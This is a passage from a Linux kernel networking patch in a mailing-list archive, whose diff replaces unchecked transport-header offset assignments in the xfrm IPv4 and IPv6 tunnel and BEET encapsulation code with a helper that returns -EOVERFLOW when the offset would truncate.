 		skb->network_header += IPV4_BEET_PHMAXLEN;
 	skb->mac_header = skb->network_header +
 			  offsetof(struct iphdr, protocol);
-	skb->transport_header = skb->network_header + sizeof(*top_iph);
+	if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+		return -EOVERFLOW;
 
 	xfrm4_beet_make_header(skb);
 
@@ -288,7 +292,8 @@ static int xfrm4_tunnel_encap_add(struct xfrm_state *x, struct sk_buff *skb)
 	skb_set_network_header(skb, -x->props.header_len);
 	skb->mac_header = skb->network_header +
 			  offsetof(struct iphdr, protocol);
-	skb->transport_header = skb->network_header + sizeof(*top_iph);
+	if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+		return -EOVERFLOW;
 	top_iph = ip_hdr(skb);
 
 	top_iph->ihl = 5;
@@ -335,7 +340,8 @@ static int xfrm6_tunnel_encap_add(struct xfrm_state *x, struct sk_buff *skb)
 	skb_set_network_header(skb, -x->props.header_len);
 	skb->mac_header = skb->network_header +
 			  offsetof(struct ipv6hdr, nexthdr);
-	skb->transport_header = skb->network_header + sizeof(*top_iph);
+	if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+		return -EOVERFLOW;
 	top_iph = ipv6_hdr(skb);
 
 	top_iph->version = 6;
@@ -374,7 +380,8 @@ static int xfrm6_beet_encap_add(struct xfrm_state *x, struct sk_buff *skb)
 		skb->network_header += IPV4_BEET_PHMAXLEN;
 	skb->mac_header = skb->network_header +
 			  offsetof(struct ipv6hdr, nexthdr);
-	skb->transport_header = skb->network_header + sizeof(*top_iph);
+	if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+		return -EOVERFLOW;
 	ph = __skb_pull(skb, XFRM_MODE_SKB_CB(skb)->ihl - hdr_len);
 
 	xfrm6_beet_make_header(skb);
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-07-29 18:41 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-29 18:40 [PATCH net 0/1] net: skbuff: reject skb header offset updates that truncate Zihan Xi
2026-07-29 18:40 ` [PATCH net 1/1] " Zihan Xi

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.